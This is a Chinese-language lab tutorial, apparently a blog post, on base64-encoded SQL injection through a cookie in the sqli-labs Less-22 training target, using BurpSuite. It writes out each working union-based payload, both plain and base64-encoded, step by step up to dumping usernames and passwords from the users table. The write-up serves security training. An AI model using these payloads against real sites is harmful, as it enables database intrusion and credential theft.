目录
- 1 base64注入概述
- 1.1 base64编码基础
- 1.2 base64编码与URL编码
- 1.3 base64注入
- 2 实验简介
- 2.1 实验平台
- 2.2 实验目标
- 3 实验过程
- 3.1 前戏
- 3.2 判断注入点及注入类型
- 3.3 尝试使用union查询
- 3.4 获取库名表名字段名字段内容
- 3.5 实验结果
- 4 总结
1 base64注入概述
1.1 base64编码基础
- 定义:Base64是网络上最常见的用于传输8Bit字节码的编码方式之一,Base64就是一种基于64个可打印字符来表示二进制数据的方法。
- 用途:Base64编码是从二进制到字符的过程,可用于在HTTP环境下传递较长的标识信息。
- 特点:采用Base64编码具有不可读性,需要解码后才能阅读。
1.2 base64编码与URL编码
- 存在问题:标准的Base64并不适合直接放在URL里传输,因为URL编码器会把标准Base64中的“/”和“+”字符变为形如“%XX”的形式,而这些“%”号在存入数据库时还需要再进行转换。
- 解决问题:
可采用一种用于URL的改进Base64编码,它在末尾填充’='号,并将标准Base64中的“+”和“/”分别改成了“-”和“_”,这样就免去了在URL编解码和数据库存储时所要作的转换,避免了编码信息长度在此过程中的增加,并统一了数据库、表单等处对象标识符的格式。
1.3 base64注入
- 定义:base64注入是针对传递的参数被base64编码后的注入点进行注入。
- 特点:除了数据被加密意外,其中注入方式与常规注入一般无二。
2 实验简介
2.1 实验平台
- 靶机:CentOS7安装docker,利用docker部署sqli-labs来作为实验平台。具体部署过程可以参考文章《Docker上搭建sqli-labs漏洞环境》。
- 真实机:为了方便发送Cookie,本实验利用BurpSuite来进行注入实验,BurpSuite的安装过程可以参考文章《BurpSuite简介及安装》。
- 靶机与真实机桥接到同一局域网中。
2.2 实验目标
- 获取网站后台数据库账号及密码。
3 实验过程
3.1 前戏
- 真实机打开BurpSuite,进入Proxy工具,打开自带浏览器,访问靶机sqli-labs的Less22,打开页面如下。
- 输入账号密码为Dumb,点击登录,出现以下页面,这里应该是页面代码弄错了,应该是第22的。
- 在BurpSuite工具的intercept界面开启 intercept is on后。在浏览器页面不点击Delete Your Cookie,直接再次发送该页面请求,让BurpSuite获取到请求包,将请求右键发送到repeater工具。
- 在BurpSuite的Repeater工具中,我们可以看到刚刚发送过来的请求,点击send,观察正常回包的响应内容。
3.2 判断注入点及注入类型
- 正常流程应该是先判断能否在常规位置进行注入,实在没有的情况下再找cookie能否注入。本节实验为了演示base注入的过程,直接省去了测试其他位置能否注入的过程,仅为演示在cookie注入点如何进行base64注入。
- 将该请求中的Cookie值
RHVtYg%3D%3D
复制,切换到Decoder界面,点击“smart decode”,可以看到软件自动将特殊符号进行解码,得到RHVtYg==
。
- 我们将解码得到的参数代替原Cookie,点击send,可以看到响应正常。
- 我们再次切回Decode界面,点击解码,选择base64解码格式,得到cookie值为Dump,是我们原先输入的账号。
- 为了测试该注入是字符型的引号闭合方式,我们构建注入语句
Dumb" and "1"="1
,点击编码,选择base64的编码格式,得到编码后语句RHVtYiIgYW5kICIxIj0iMQ==
。
- 将该参数带入原Cookie中,点击send,可以看到可以看到响应正常。由反证法可以推断出该处注入为字符型且为双引号闭合。反证法详细分析请看《反证法:判断注入类型是数值型还是字符型》。
3.3 尝试使用union查询
- 目的:判断能否使用union联合查询注入。
- 我们要构造参数为
Dumb" order by 3#
,加上#是为了屏蔽掉后台SQL语句最后的双引号,将该参数经base64编码得到RHVtYiIgb3JkZXIgYnkgMyM=
。
- 将该编码后的参数代入cookie,点击send,可以看到响应正常。
- 同理地,构造参数为
Dumb" order by 4#
,编码后为RHVtYiIgb3JkZXIgYnkgNCM=
,代入cookie中,页面显示错误。由此可知该页面回显参数有3列。
- 构造参数为
-Dumb" union select 1,2,3#
,编码后为LUR1bWIiIHVuaW9uIHNlbGVjdCAxLDIsMyM=
,代入cookie中,
- 综上所述,注入点在cookie,注入参数需要用base64进行编码,可以使用union联合查询注入的方式来注入出数据库信息。
3.4 获取库名表名字段名字段内容
- 获取库名。修改参数为
-Dumb" union select 1,2,database()#
,编码得LUR1bWIiIHVuaW9uIHNlbGVjdCAxLDIsZGF0YWJhc2UoKSM=
,代入到cookie中并发送,得发现本站点数据库为security。
- 获取表名。修改参数为
-Dumb" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database()#
,编码得LUR1bWIiIHVuaW9uIHNlbGVjdCAxLDIsZ3JvdXBfY29uY2F0KHRhYmxlX25hbWUpIGZyb20gaW5mb3JtYXRpb25fc2NoZW1hLnRhYmxlcyB3aGVyZSB0YWJsZV9zY2hlbWEgPSBkYXRhYmFzZSgpIw==
,代入到cookie中并发送,得发现本站点数据库下有4个表,其中users是我们需要进一步获取数据的目标。
- 获取字段名。修改参数为
-Dumb" union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'#
,编码得LUR1bWIiIHVuaW9uIHNlbGVjdCAxLDIsZ3JvdXBfY29uY2F0KGNvbHVtbl9uYW1lKSBmcm9tIGluZm9ybWF0aW9uX3NjaGVtYS5jb2x1bW5zIHdoZXJlIHRhYmxlX25hbWUgPSAndXNlcnMnIw==
,代入到cookie中并发送,发现users表中共有3个字段,分别是id、username、password。
- 获取字段内容。参数为
-Dumb" union select 1,2,group_concat(id,':',username,':',password) from users#
,编码得LUR1bWIiIHVuaW9uIHNlbGVjdCAxLDIsZ3JvdXBfY29uY2F0KGlkLCc6Jyx1c2VybmFtZSwnOicscGFzc3dvcmQpIGZyb20gdXNlcnMj
,代入到cookie中并发送,发现一堆账号密码。
3.5 实验结果
- 实验成功获得后台账号密码。
- 该实验也可以使用报错注入的方式代替union注入。
4 总结
- base64注入是参数被base64编码过的注入方式;其注入点注入手法与之前所学相同。
- 掌握base64注入的方法。
更多推荐
【SQL注入11】base64注入基础及实践(基于BurpSuite工具的Sqli-labs-less22靶机平台)
发布评论